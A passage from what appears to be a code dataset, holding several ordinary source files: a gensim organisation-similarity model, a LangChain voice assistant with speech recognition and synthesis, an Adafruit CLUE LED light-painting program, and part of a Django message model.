'data/org_data.pkl')\nwith open(path, 'rb') as fp:\n data = pickle.load(fp)\npath = os.path.join(os.path.dirname(__file__), 'data/name_list.pkl')\nwith open(path, 'rb') as fp:\n data_names = pickle.load(fp)\n\n# TFIDF = 'tfidf.pkl'\n# LSI = \"test_lsi.pkl\"\n# INDEX = \"test_index.pkl\"\n# ID2WORD = \"tfidf_dict.pkl\"\n\nTFIDF = os.path.join(os.path.dirname(__file__), 'data/tfidf.pkl')\nLSI = os.path.join(os.path.dirname(__file__), 'data/test_lsi.pkl')\nINDEX = os.path.join(os.path.dirname(__file__), 'data/test_index.pkl')\nID2WORD = os.path.join(os.path.dirname(__file__), 'data/tfidf_dict.pkl')\n\n\nclass OrgSim():\n \"\"\"Find Org most similar to Article.\"\"\"\n\n def __init__(self, lsi_path=LSI, id2word_path=ID2WORD, index_path=INDEX,\n tfidf_path=TFIDF, org_data=data, name_list=data_names):\n \"\"\"\n Initialize class.\n\n Parameters\n ----------\n lsi_path : str\n Path to location of saved gensim LsiModel.\n If specified, the model will load and use this object\n as its LsiModel.\n dict_path : str\n Path to location of saved gensim Dictionary.\n If specified, the model will load and use this object\n as its Dictionary.\n tfidf_path: str\n File-path designating where self.tfidf should be saved.\n org_data: list\n List of data.\n name_list: list\n List of names.\n \"\"\"\n self.org_data = org_data\n self.name_list = name_list\n self.processor = TextProcessor()\n self.tfidf = GensimTfidf(tfidf_path=tfidf_path,\n dictionary_path=id2word_path,\n use_sparse_representation=True)\n self.lsi = GensimLsi(lsi_path=lsi_path,\n id2word_path=id2word_path,\n index_path=index_path)\n self.transformer = Pipeline([\n ('norm', self.processor),\n ('tfidf', self.tfidf)])\n\n @staticmethod\n def closest_match(string1, strings):\n \"\"\"\n Return the most similar org in name_list.\n\n Parameters\n ----------\n string1: str\n String being queried.\n strings: list\n List of org names.\n \"\"\"\n result = get_close_matches(string1, strings)\n try:\n return result[0]\n except IndexError:\n return \"Not Found\"\n\n def resolve_query(self, org):\n \"\"\"\n Find most similar org to 'org'.\n\n Parameters\n ----------\n org: str\n Name of organizatin to query.\n \"\"\"\n if org in set(self.name_list):\n correct_org = org\n else:\n correct_org = self.closest_match(org, self.name_list)\n # return associated data\n return correct_org, self.name_list.index(correct_org)\n\n def similarity(self, org, n=10):\n \"\"\"\n Return the 10 most similar orgs to org.\n\n Parameters\n ----------\n org: string\n Name of org to query.\n n: int\n Number of orgs to return.\n\n Returns\n -------\n list: tuples of (org, similarity).\n \"\"\"\n doc, idx = self.resolve_query(org)\n if doc == \"Not Found\":\n return \"Org not found, please search for another name.\"\n # Find data associated with doc before returning anything\n doc_data = self.org_data[idx]\n tfidf_data = self.transformer.transform([doc_data])\n return self.lsi.similarity(doc=tfidf_data[0], n=n)\n\n\nclass Art2Org():\n \"\"\"init.\"\"\"\n\n pass\n\n\nclass Org2Art():\n \"\"\"init.\"\"\"\n\n pass\n","repo_name":"jwilber/artcamp","sub_path":"artcamp/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20123347829","text":"import os\nimport random\nimport keyboard\nimport asyncio\nimport traceback\nimport configparser\nfrom pathlib import Path\nfrom dotenv import load_dotenv\n\nimport pygame.mixer\nimport whisper\nimport pyttsx3\nimport speech_recognition as sr\nfrom bark import SAMPLE_RATE, generate_audio, preload_models\nfrom IPython.display import Audio\nimport torchaudio\nfrom scipy.io.wavfile import write as write_wav\n\nimport openai\nimport pinecone\nfrom pydantic import BaseSettings\nfrom langchain.agents import Tool\nfrom langchain.memory import ConversationTokenBufferMemory, ReadOnlySharedMemory\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.utilities import GoogleSearchAPIWrapper, WikipediaAPIWrapper, WolframAlphaAPIWrapper, OpenWeatherMapAPIWrapper\nfrom langchain.agents import initialize_agent\nfrom langchain.chains import LLMMathChain, RetrievalQA\nfrom langchain.utilities.zapier import ZapierNLAWrapper\nfrom langchain.agents.agent_toolkits import ZapierToolkit\nfrom langchain.embeddings.openai import OpenAIEmbeddings\nfrom langchain.vectorstores import Pinecone\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.chains.summarize import load_summarize_chain\n\n# Set audio backend to soundfile\ntorchaudio.set_audio_backend(\"soundfile\")\n\n# Load settings.ini and get bot name\nconfig = configparser.ConfigParser()\nconfig.read(\"settings.ini\")\nbot_name = config.get(\"settings\", \"bot_name\")\nBOT_NAME = bot_name\n\nclass SearchSettings:\n def __init__(self, file_path=\"settings.ini\"):\n config = configparser.ConfigParser()\n config.read(file_path)\n\n self.enable_search = config.getboolean(\"tools\", \"enable_search\")\n self.enable_wikipedia = config.getboolean(\"tools\", \"enable_wikipedia\")\n self.enable_calculator = config.getboolean(\"tools\", \"enable_calculator\")\n self.enable_wolfram_alpha = config.getboolean(\"tools\", \"enable_wolfram_alpha\")\n self.enable_weather = config.getboolean(\"tools\", \"enable_weather\")\n self.enable_zapier = config.getboolean(\"tools\", \"enable_zapier\")\n self.enable_pinecone = config.getboolean(\"tools\", \"enable_pinecone\")\n\n# You can change the history_prompt for Bark in the settings GUI or settings.ini, see Bark documentation for more details\nclass VoiceSynthesisSettings(BaseSettings):\n use_bark = config.getboolean(\"voice\", \"use_bark\")\n history_prompt = config.get(\"voice\", \"history_prompt\")\n\n use_bark: bool = use_bark\n history_prompt: str = history_prompt\n\n class Config:\n env_prefix = \"VOICE_SYNTHESIS_\"\n\nvoice_synthesis_settings = VoiceSynthesisSettings()\n\n# Download and load all Bark models (this will take a few minutes but only needs to be done once)\nif voice_synthesis_settings.use_bark:\n preload_models()\n\n# Initialize variables\nenv_path = Path(__file__).parent / \".env\"\nload_dotenv(dotenv_path=env_path)\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\nGOOGLE_API_KEY = os.getenv(\"GOOGLE_API_KEY\")\nGOOGLE_CSE_ID = os.getenv(\"GOOGLE_CSE_ID\")\nWOLFROM_ALPHA_APPID = os.getenv(\"WOLFROM_ALPHA_APPID\")\nOPENWEATHERMAP_API_KEY = os.getenv(\"OPENWEATHERMAP_API_KEY\")\nZAPIER_NLA_API_KEY = os.getenv(\"ZAPIER_NLA_API_KEY\")\nPINE_API_KEY = os.getenv(\"PINE_API_KEY\")\nPINE_ENV = os.getenv(\"PINE_ENV\")\n\n# Initialize Pinecone\nembeddings = OpenAIEmbeddings()\npinecone_env = config.get(\"pinecone\", \"pinecone_env\")\n\npinecone.init(\n api_key=PINE_API_KEY,\n environment=pinecone_env\n)\n\nindex_name = config.get(\"pinecone\", \"pinecone_index\")\ndocsearch = Pinecone.from_existing_index(index_name, embeddings)\n\nsettings = SearchSettings(\"settings.ini\")\npygame.mixer.init()\nvoice_synthesis_settings = VoiceSynthesisSettings()\nrecognizer = sr.Recognizer()\n\ndef start_chat():\n chat_script_path = Path(__file__).parent / \"chat.py\"\n os.system(f\"python {chat_script_path}\")\n\ndef listen_for_wake_word(wake_word):\n with sr.Microphone() as source:\n recognizer.adjust_for_ambient_noise(source)\n while True:\n audio = recognizer.listen(source, phrase_time_limit=2)\n try:\n transcription = recognizer.recognize_google(audio)\n print(f\"Heard: {transcription}\")\n if wake_word.lower() in transcription.lower():\n return\n except sr.UnknownValueError:\n pass\n except sr.RequestError as e:\n print(\"Could not request results; {0}\".format(e))\n\n\ndef synthesize_speech_v2(text):\n if voice_synthesis_settings.use_bark:\n history_prompt = voice_synthesis_settings.history_prompt\n audio_array = generate_audio(text, history_prompt=history_prompt)\n Audio(audio_array[0], rate=SAMPLE_RATE)\n with open(\"audio_temp.wav\", \"wb\") as f:\n write_wav(f, SAMPLE_RATE, audio_array[0])\n play_mp3(\"audio_temp.wav\")\n else:\n engine = pyttsx3.init()\n engine.setProperty('rate', 150)\n engine.say(text)\n engine.runAndWait()\n\ndef play_mp3(file_path):\n pygame.mixer.music.load(file_path)\n pygame.mixer.music.play()\n while pygame.mixer.music.get_busy():\n pygame.time.Clock().tick(10)\n\n# Define the memory and the LLM engine\nllm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0.5, max_tokens=150, verbose=True)\nmemory = ConversationTokenBufferMemory(llm=llm, max_token_limit=1000, memory_key=\"chat_history\", return_messages=True)\ndoc_chain = load_qa_chain(llm, chain_type=\"map_reduce\")\nreadonlymemory = ReadOnlySharedMemory(memory=memory)\n\n# Tool definitions and wikipedia hack\nsearch = GoogleSearchAPIWrapper(k=2)\nwikipedia = WikipediaAPIWrapper()\nllm_math = LLMMathChain(llm=llm)\nwolfram_alpha = WolframAlphaAPIWrapper()\nweather = OpenWeatherMapAPIWrapper()\nzapier= ZapierNLAWrapper()\ntoolkit = ZapierToolkit.from_zapier_nla_wrapper(zapier)\nretriever = docsearch.as_retriever(search_type=\"similarity\", search_kwargs={\"k\":2})\npinecone_tool = RetrievalQA.from_chain_type(llm=llm, chain_type=\"map_rerank\", retriever=docsearch.as_retriever())\nwikisummarize = load_summarize_chain(llm, chain_type=\"stuff\")\n\nclass WikiPage:\n def __init__(self, title, summary):\n self.title = title\n self.page_content = summary\n self.metadata = {}\n\ndef wiki_summary(search_query: str) -> str:\n wikipedia_wrapper = wikipedia\n wiki_result = wikipedia_wrapper.run(search_query)\n\n if not wiki_result:\n return \"No good Wikipedia Search Result was found\"\n\n wiki_pages = []\n for section in wiki_result.split(\"\\n\\n\"):\n title, summary = section.split(\"\\nSummary: \", 1)\n title = title.replace(\"Page: \", \"\")\n wiki_pages.append(WikiPage(title=title, summary=summary))\n\n summary_result = wikisummarize.run(wiki_pages)\n return summary_result\n\ntools = []\n\nif settings.enable_search:\n tools.append(\n Tool(\n name=\"Search\",\n func=search.run,\n description=\"Useful when you need to answer questions about current events and real-time information\"\n )\n )\nif settings.enable_wikipedia:\n tools.append(\n Tool(\n name=\"Wikipedia\",\n func=wikipedia.run,\n description=\"Useful for searching information on historical information on Wikipedia. \"\n \"Use this more than the normal search if the question is about events that occured before 2023, like the 'What was the 2008 financial crisis?' or 'Who won the 2016 US presidential election?'\"\n )\n )\nif settings.enable_calculator:\n tools.append(\n Tool(\n name='Calculator',\n func=llm_math.run,\n description='Useful for when you need to answer questions about math.'\n )\n )\nif settings.enable_wolfram_alpha:\n tools.append(\n Tool(\n name='Wolfram Alpha',\n func=wolfram_alpha.run,\n description=\"Useful for when you need to answer questions about Math, \"\n \"Science, Technology, Culture, people, Society and Everyday Life. \"\n \"Input should be a search query\"\n )\n )\nif settings.enable_weather:\n tools.append(\n Tool(\n name='Weather',\n func=weather.run,\n description=\"Useful for when you need to answer questions about weather.\"\n )\n )\nif settings.enable_pinecone:\n pinecone_name = config.get(\"pinecone\", \"tool_name\")\n pinecone_description = config.get(\"pinecone\", \"tool_description\")\n\n tools.append(\n Tool(\n name=pinecone_name,\n func=pinecone_tool.run,\n description=pinecone_description\n )\n )\n\nbot_context = config.get(\"settings\", \"bot_context\")\nCONTEXT = bot_context\n\n# Probably hacky workaround so that the agent chain respects the Zapier settings since it uses a toolkit\nif settings.enable_zapier:\n agent_chain = initialize_agent([*toolkit.get_tools(), *tools], llm, agent=\"chat-conversational-react-description\", verbose=True, memory=memory)\nelse:\n agent_chain = initialize_agent(tools, llm, agent=\"chat-conversational-react-description\", verbose=True, memory=memory)\n\nagent_chain.memory.chat_memory.add_ai_message(CONTEXT)\n\nasync def main():\n config = configparser.ConfigParser()\n config.read(\"settings.ini\")\n hotkey = config.get(\"settings\", \"hotkey\")\n\n keyboard.add_hotkey(hotkey, start_chat, suppress=True)\n print(f\"Press {hotkey} to launch chat window\")\n while True:\n print(f\"Waiting for wake word {BOT_NAME} to prompt\")\n play_mp3(\"intro.wav\")\n\n listen_for_wake_word(BOT_NAME)\n\n greeting = random.choice(['Yes?', 'At your service.', 'What can I do for you?'])\n synthesize_speech_v2(greeting)\n\n while True:\n with sr.Microphone() as source:\n recognizer.adjust_for_ambient_noise(source)\n print(\"Speak a prompt...\")\n play_mp3(\"start.mp3\")\n audio = recognizer.listen(source)\n\n try:\n with open(\"audio_prompt.wav\", \"wb\") as f:\n f.write(audio.get_wav_data())\n model = whisper.load_model(\"base\")\n result = model.transcribe(\"audio_prompt.wav\")\n user_input = result[\"text\"]\n print(f\"You said: {user_input}\")\n play_mp3(\"stop.mp3\")\n except Exception as e:\n print(\"Error transcribing audio: {0}\".format(e))\n continue\n try:\n agent_chain.memory.chat_memory.add_user_message(user_input)\n\n input_text = user_input\n response = agent_chain.run(input=input_text)\n bot_response = response\n\n print(\"Bot's response:\", bot_response)\n synthesize_speech_v2(bot_response)\n\n agent_chain.memory.chat_memory.add_ai_message(bot_response)\n\n if \"you're welcome\" in bot_response.lower() or \"you are welcome\" in bot_response.lower() or \"my pleasure\" in bot_response.lower():\n break\n except Exception as e:\n tb_string = traceback.format_exc()\n\n if \"This model's maximum context length is\" in tb_string:\n agent_chain.memory.chat_memory.clear()\n traceback.print_exc()\n error_message = \"Apologies, the last request went over the maximum context length so I have to clear my memory. Is there anything else I can help you with?\"\n synthesize_speech_v2(error_message)\n else:\n traceback.print_exc()\n error_message = \"Unfortunately, I have encountered an error. Is there anything else I can help you with?\"\n synthesize_speech_v2(error_message)\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"masrad/ALFRED","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11876,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"5"} +{"seq_id":"35855293753","text":"import gc\nfrom time import monotonic, sleep\nimport board\nimport busio\nimport displayio\nfrom digitalio import DigitalInOut, Direction\nfrom bmp2led import BMP2LED, BMPError\nfrom neopixel_write import neopixel_write\nfrom richbutton import RichButton\nfrom adafruit_display_text import label\nfrom adafruit_display_shapes.rect import Rect\nfrom terminalio import FONT # terminalio font is crude but fast to display\nFONT_WIDTH, FONT_HEIGHT = FONT.get_bounding_box()\n\n# These are permanent global settings, can only change by editing the code:\n\nNUM_PIXELS = 72 # LED strip length\nPIXEL_PINS = board.SDA, board.SCL # Data, clock pins for DotStars\nPIXEL_ORDER = 'bgr' # Pixel color order\nPATH = '/bmps-72px' # Folder with BMP images (or '' for root path)\nTEMPFILE = '/led.dat' # Working file for LED data (will be clobbered!)\nFLIP_SCREEN = False # If True, turn CLUE screen & buttons upside-down\nGAMMA = 2.4 # Correction for perceptually linear brightness\nBRIGHTNESS_RANGE = 0.15, 0.75 # Min, max brightness (0.0-1.0)\nTIMES = ['1/8', '1/4', '1/3', '1/2', '2/3', '1', '1.5', '2', '3', '4']\nTIMES.sort(key=eval) # Ensure times are shortest-to-longest\n\n\ndef centered_label(text, y_pos, scale):\n \"\"\"\n Create a displayio label that's horizontally centered on screen.\n Arguments:\n text (string) : Label string.\n y_pos (int) : Vertical position on screen.\n scale (int) : Text scale.\n Returns: displayio group object.\n \"\"\"\n group = displayio.Group(scale=scale, x=board.DISPLAY.width // 2)\n x_pos = len(text) * FONT_WIDTH // -2\n group.append(label.Label(FONT, text=text, x=x_pos, y=y_pos))\n return group\n\n\n# pylint: disable=too-many-instance-attributes\nclass ClueLightPainter:\n \"\"\"\n CLUE Light Painter is wrapped in this class to avoid a bunch more globals.\n \"\"\"\n\n # pylint: disable=too-many-arguments\n def __init__(self, flip, path, tempfile, num_pixels, pixel_order,\n pixel_pins, gamma, brightness):\n \"\"\"\n App constructor. Follow up with a call to ClueLightPainter.run().\n Arguments:\n flip (boolean) : If True, CLUE display and buttons are\n flipped 180 degrees from normal (makes\n wiring easier in some situations).\n path (string) : Directory containing BMP images.\n tempfile (string) : Full path/filename of temporary working\n file for LED data (will be clobbered).\n num_pixels (int) : LED strip length.\n pixel_order (string) : LED data order, e.g. 'grb'.\n pixel_pins (tuple) : Board pin for LED data output (SPI data\n and clock pins respectively).\n gamma (float) : Correction for perceptual linearity.\n brightness (2 floats) : Minimum and maximum LED brightness\n settings, each 0.0 (off) to 1.0 (full\n brightness). Too-low brightness levels\n just don't photograph well. Too-high\n levels may draw more current than the\n battery can provide, board may lock up\n and may even need CircuitPython re-flash.\n \"\"\"\n self.bmp2led = BMP2LED(num_pixels, pixel_order, gamma)\n self.path = path\n self.tempfile = tempfile\n self.brightness_range = brightness\n\n # The SPI peripheral is locked and config'd once here and never\n # relinquished, to save some time on every row (need them issued\n # as fast as possible).\n self.spi = busio.SPI(pixel_pins[1], MOSI=pixel_pins[0])\n self.spi.try_lock()\n self.spi.configure(baudrate=8000000)\n\n # Determine filesystem-to-LEDs throughput (also clears LED strip)\n self.rows_per_second, self.row_size = self.benchmark()\n\n # Configure hardware initial state\n self.button_left = RichButton(board.BUTTON_A)\n self.button_right = RichButton(board.BUTTON_B)\n if flip:\n board.DISPLAY.rotation = 180\n self.button_left, self.button_right = (self.button_right,\n self.button_left)\n else:\n board.DISPLAY.rotation = 0\n # Turn off onboard NeoPixel\n onboard_pixel_pin = DigitalInOut(board.NEOPIXEL)\n onboard_pixel_pin.direction = Direction.OUTPUT\n neopixel_write(onboard_pixel_pin, bytearray(3))\n\n # Get list of compatible BMP images in path\n self.images = self.bmp2led.scandir(path)\n if not self.images:\n group = displayio.Group()\n group.append(centered_label('NO IMAGES', 40, 3))\n board.DISPLAY.root_group = group\n while True:\n pass\n\n self.image_num = 0 # Current selected image index in self.path\n self.num_rows = 0 # Nothing loaded yet\n self.loop = False # Repeat image playback\n self.brightness = 1.0 # LED brightness, 0.0 (off) to 1.0 (bright)\n self.config_mode = 0 # Current setting being changed\n self.rect = None # Multipurpose progress/setting rect\n self.time = (len(TIMES) + 1) // 2 # Paint time index from TIMES[]\n\n\n def benchmark(self):\n \"\"\"\n Estimate filesystem-to-LED-strip throughput.\n Returns: rows-per-second throughput (int), LED row size in bytes\n (including DotStar header and footer) (int).\n \"\"\"\n # Generate a small temporary file equal to one full LED row,\n # all set 'off'.\n row_data = bytearray([0] * 4 +\n [255, 0, 0, 0] * self.bmp2led.num_pixels +\n [255] * ((self.bmp2led.num_pixels + 15) //\n 16))\n row_size = len(row_data)\n with open(self.tempfile, 'wb') as file:\n file.write(row_data)\n\n # For a period of 1 second, repeatedly seek to start of file,\n # read row of data and write to LED strip as fast as possible.\n # Not super precise, but good-enough guess of light painting speed.\n # (Bonus, this will turn off LED strip on startup).\n rows = 0\n with open(self.tempfile, 'rb') as file:\n start_time = monotonic()\n while monotonic() - start_time < 1.0:\n file.seek(0)\n file.readinto(row_data)\n self.spi.write(row_data)\n sleep(0.001) # See notes in paint()\n rows += 1\n\n return rows, row_size\n\n\n def clear_strip(self):\n \"\"\"\n Turn off all LEDs of the DotStar strip.\n \"\"\"\n self.spi.write(bytearray([0] * 4 +\n [255, 0, 0, 0] * self.bmp2led.num_pixels +\n [255] * ((self.bmp2led.num_pixels + 15) //\n 16)))\n\n\n def load_progress(self, amount):\n \"\"\"\n Callback function for image loading, moves progress bar on display.\n Arguments:\n amount (float) : Current 'amount loaded' coefficient; 0.0 to 1.0\n \"\"\"\n #self.rect.x = int(board.DISPLAY.width * (amount - 1.0))\n num_on = int(amount * self.bmp2led.num_pixels + 0.5)\n num_off = self.bmp2led.num_pixels - num_on\n on_pixel = [255, 0, 0, 0]\n on_pixel[1 + self.bmp2led.green_index] = 10\n self.spi.write(bytearray([0] * 4 + on_pixel * num_on +\n [255, 0, 0, 0] * num_off + [255] *\n ((self.bmp2led.num_pixels + 15) // 16)))\n\n\n def load_image(self):\n \"\"\"\n Load BMP from image list, determined by variable self.image_num\n (not a passed argument). Data is converted and placed in\n self.tempfile.\n \"\"\"\n # Minimal progress display while image is loaded.\n group = displayio.Group()\n group.append(centered_label('LOADING...', 40, 3))\n #self.rect = Rect(-board.DISPLAY.width, 120,\n # board.DISPLAY.width, 40, fill=0x00B000)\n #group.append(self.rect)\n board.DISPLAY.root_group = group\n\n # pylint: disable=eval-used\n # (It's cool, is a 'trusted string' in the code)\n duration = eval(TIMES[self.time]) # Playback time in seconds\n # The 0.9 here is an empirical guesstimate; playback is ever-so-\n # slightly slower than benchmark speed due to button testing.\n rows = int(duration * self.rows_per_second * 0.9 + 0.5)\n # Remap brightness from 0.0-1.0 to brightness_range.\n brightness = (self.brightness_range[0] + self.brightness *\n (self.brightness_range[1] - self.brightness_range[0]))\n try:\n self.num_rows = self.bmp2led.process(self.path + '/' +\n self.images[self.image_num],\n self.tempfile,\n rows, brightness,\n self.loop,\n self.load_progress)\n except (MemoryError, BMPError):\n group = displayio.Group()\n group.append(centered_label('TOO BIG', 40, 3))\n board.DISPLAY.root_group = group\n sleep(4)\n\n board.DISPLAY.show(displayio.Group()) # Clear display\n self.clear_strip() # LEDs off\n\n\n def paint(self):\n \"\"\"\n Paint mode. Watch for button taps to start/stop image playback,\n or button hold to switch to config mode.\n \"\"\"\n\n board.DISPLAY.brightness = 0 # Screen backlight OFF\n painting = False\n row = 0\n action_list = [None, None]\n\n with open(self.tempfile, 'rb') as file:\n led_buffer = bytearray(self.row_size)\n # During painting, automatic garbage collection is disabled\n # so there are no pauses in the LED output (which would wreck\n # the photo). This requires that the loop below is written in\n # such a way to avoid ANY allocations within that scope!\n gc.collect()\n gc.disable()\n\n while True:\n # This peculiar assignment (rather than just declaring this\n # as a new list or set) is to avoid temporary memory allocs,\n # since the garbage collector is disabled.\n action_list[0] = self.button_left.action()\n action_list[1] = self.button_right.action()\n if RichButton.TAP in action_list:\n if painting: # If currently painting\n self.clear_strip() # Turn LEDs OFF\n else:\n row = 0 # Start at beginning of file\n painting = not painting # Toggle paint mode on/off\n elif RichButton.HOLD in action_list:\n break # End paint loop\n\n if painting:\n file.seek(row * self.row_size)\n # using readinto() instead of read() is another\n # avoid-automatic-garbage-collection strategy.\n file.readinto(led_buffer)\n self.spi.write(led_buffer)\n # Strip updates are more than fast enough...\n # it's the file conversion that takes forever.\n # This small delay (also present in the benchmark()\n # function) reduces the output resolution slightly,\n # in turn reducing the preprocessing requirements.\n sleep(0.001)\n row += 1\n if row >= self.num_rows:\n if self.loop:\n row = 0\n else:\n painting = False\n\n # Re-enable automatic garbage collection before\n # exiting paint mode and returning to config mode.\n gc.enable()\n\n\n # Each config screen is broken out into its own function...\n # Generates its UI, handles button interactions, clears screen.\n # It was a toss-up between this and one big multimodal config\n # function. This way definitely generates less pylint gas pains.\n # Also, creating and destroying elements (rather than creating\n # them all up-front and showing or hiding elements as needed)\n # tends to use less RAM.\n\n def make_ui_group(self, main_config, config_label, rect_val=None):\n \"\"\"\n Generates and displays a displayio group containing several elements\n that all config screens have in common (or nearly in common).\n Arguments:\n main_config (boolean) : If true, function generates the main\n config screen elements, else makes\n elements for other config screens.\n config_label (string) : Text to appear at center(ish) of screen.\n rect_val (float) : If specified, a Rect object is created\n whose width represents the value.\n 0.0 = min, 1.0 = full display width.\n Returns: displayio group\n \"\"\"\n group = displayio.Group()\n group.append(centered_label('TAP L/R to', 3, 2))\n group.append(centered_label('select item' if main_config else\n 'select image' if self.config_mode is 0\n else 'change', 16, 2))\n group.append(centered_label('HOLD L: item config' if main_config else\n 'HOLD L: back', 100, 2))\n group.append(centered_label('HOLD R: paint', 113, 2))\n if rect_val:\n self.rect = Rect(int(board.DISPLAY.width * (rect_val - 1.0)),\n 120, board.DISPLAY.width, 40, fill=0x00B000)\n group.append(self.rect)\n # Config label always appears as last item in group\n # so calling func can pop() and replace it if need be.\n group.append(centered_label(config_label, 30 if rect_val else 40, 3))\n board.DISPLAY.root_group = group\n return group\n\n\n def config_select(self, first_run=False):\n \"\"\"\n Initial configuration screen, in which the user selects which\n setting will be changed. Tap L/R to select which setting,\n hold L to change that setting, or hold R to resume painting.\n \"\"\"\n self.clear_strip()\n strings = ['IMAGE', 'TIME', 'LOOP', 'BRIGHTNESS']\n funcs = [self.config_image, self.config_time, self.config_loop,\n self.config_brightness]\n group = self.make_ui_group(True, strings[self.config_mode])\n board.DISPLAY.brightness = 1 # Screen on\n prev_mode = self.config_mode\n reload_image = first_run\n\n while True:\n action_left, action_right = (self.button_left.action(),\n self.button_right.action())\n if action_left is RichButton.HOLD:\n # Call one of the configuration sub-menu functions.\n # These all return two booleans. One indicates whether\n # the setting change requires reloading the image,\n # other indicates if it was a R button hold, in which\n # case this should return to paint mode.\n reload, paint = funcs[self.config_mode]()\n # Image reload is not immediate, it can wait until\n # returning to paint.\n reload_image |= reload\n if paint:\n break # Exit loop, resume paint\n else:\n board.DISPLAY.root_group = group # Put config UI back up\n elif action_right is RichButton.HOLD:\n break\n elif action_left is RichButton.TAP:\n self.config_mode = (self.config_mode - 1) % len(strings)\n elif action_right is RichButton.TAP:\n self.config_mode = (self.config_mode + 1) % len(strings)\n\n if self.config_mode is not prev_mode:\n # Create/destroy mode descriptions as needed\n group.pop()\n group.append(centered_label(strings[self.config_mode],\n 40, 3))\n prev_mode = self.config_mode\n\n # Before exiting to paint mode, check if new image needs loaded\n if reload_image:\n self.load_image()\n\n\n def config_image(self):\n \"\"\"\n Image select screen. Tap L/R to cycle among image filenames,\n hold L to go back to main config menu, hold R to paint.\n Returns: two booleans, first indicates whether image needs to\n be reloaded, second indicates if returning to paint mode vs\n more config.\n \"\"\"\n group = self.make_ui_group(False,\n self.images[self.image_num].split('.')[0])\n orig_image, prev_image = self.image_num, self.image_num\n\n while True:\n action_left, action_right = (self.button_left.action(),\n self.button_right.action())\n if action_left is RichButton.HOLD:\n return self.image_num is not orig_image, False # Resume config\n if action_right is RichButton.HOLD:\n return self.image_num is not orig_image, True # Resume paint\n if action_left is RichButton.TAP:\n self.image_num = (self.image_num - 1) % len(self.images)\n elif action_right is RichButton.TAP:\n self.image_num = (self.image_num + 1) % len(self.images)\n\n if self.image_num is not prev_image:\n group.pop()\n group.append(centered_label(\n self.images[self.image_num].split('.')[0], 40, 3))\n prev_image = self.image_num\n\n\n def config_time(self):\n \"\"\"\n Time (paint duration) select screen. Tap L/R to decrease/increase\n paint time, hold L to go back to main config menu, hold R to paint.\n Returns: two booleans, first is always False, second indicates\n if returning to paint mode vs more config.\n \"\"\"\n group = self.make_ui_group(False, 'Time:',\n self.time / (len(TIMES) - 1))\n group.append(centered_label(TIMES[self.time] + ' Sec', 70, 2))\n orig_time, prev_time = self.time, self.time\n\n while True:\n action_left, action_right = (self.button_left.action(),\n self.button_right.action())\n if action_left is RichButton.HOLD:\n return self.time is not orig_time, False # Resume config\n if action_right is RichButton.HOLD:\n return self.time is not orig_time, True # Resume paint\n if action_left is RichButton.TAP:\n self.time = max(0, self.time - 1)\n elif action_right is RichButton.TAP:\n self.time = min(len(TIMES) - 1, self.time + 1)\n\n if self.time is not prev_time:\n self.rect.x = int(board.DISPLAY.width *\n (self.time / (len(TIMES) - 1) - 1.0))\n prev_time = self.time\n group.pop()\n group.append(centered_label(TIMES[self.time] + ' Sec', 70, 2))\n\n\n def config_loop(self):\n \"\"\"\n Loop select screen. Tap L/R to toggle looping on/off,\n hold L to go back to main config menu, hold R to paint.\n Returns: two booleans, first is always False, second indicates\n if returning to paint mode vs more config.\n \"\"\"\n loop_label = ['Loop OFF', 'Loop ON']\n group = self.make_ui_group(False, loop_label[self.loop])\n orig_loop = self.loop\n\n while True:\n action_left, action_right = (self.button_left.action(),\n self.button_right.action())\n if action_left is RichButton.HOLD:\n return self.loop is not orig_loop, False # Resume config\n if action_right is RichButton.HOLD:\n return self.loop is not orig_loop, True # Resume paint\n if RichButton.TAP in {action_left, action_right}:\n self.loop = not self.loop\n group.pop()\n group.append(centered_label(loop_label[self.loop], 40, 3))\n\n\n def config_brightness(self):\n \"\"\"\n Brightness select screen. Tap L/R to decrease/increase brightness,\n hold L to go back to main config menu, hold R to paint.\n Returns: two booleans, first is always False, second indicates\n if returning to paint mode vs more config.\n \"\"\"\n orig_brightness, prev_brightness = self.brightness, self.brightness\n self.make_ui_group(False, 'Brightness:', self.brightness)\n\n while True:\n action_left, action_right = (self.button_left.action(),\n self.button_right.action())\n if action_left is RichButton.HOLD:\n return self.brightness is not orig_brightness, False # Config\n if action_right is RichButton.HOLD:\n return self.brightness is not orig_brightness, True # Paint\n if action_left is RichButton.TAP:\n self.brightness = max(0.0, self.brightness - 0.1)\n elif action_right is RichButton.TAP:\n self.brightness = min(1.0, self.brightness + 0.1)\n\n if self.brightness is not prev_brightness:\n self.rect.x = int(board.DISPLAY.width * (self.brightness - 1.0))\n prev_brightness = self.brightness\n\n\n def run(self):\n \"\"\"\n Post-init application loop. After a one-time visit to image select\n (and possibly other config), just consists of alternating paint and\n config modes. Each function has its own condition for return\n (switching to the opposite mode). Repeat forever.\n \"\"\"\n _, paint = self.config_image()\n if paint:\n self.load_image()\n else:\n self.config_select(True)\n\n while True:\n self.paint()\n self.config_select()\n\n\nClueLightPainter(FLIP_SCREEN, PATH, TEMPFILE,\n NUM_PIXELS, PIXEL_ORDER, PIXEL_PINS, GAMMA,\n BRIGHTNESS_RANGE).run()\n","repo_name":"adafruit/Adafruit_Learning_System_Guides","sub_path":"CLUE_Light_Painter/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":22726,"program_lang":"python","lang":"en","doc_type":"code","stars":913,"dataset":"github-code","pt":"5"} +{"seq_id":"41180334174","text":"from django.db import models\nfrom apps.usuarios.models import Usuarios\n# Create your models here.\nclass Mensaje(models.Model):\n usuario = models.ForeignKey(Usuarios, on_delete=models.CASCADE)\n texto = models.TextField(verbose_name='Mensaje')\n fecha = models.DateTimeField(auto_now_add=True)\n asunto = models.TextField(max_length=50)\n imagen = models.ImageField(null=True,blank=True,upload_to='mensajes',default='empleos/empleo_def.png')\n\n def __str__(self):\n return self.texto\n \n class Meta:\n ordering = 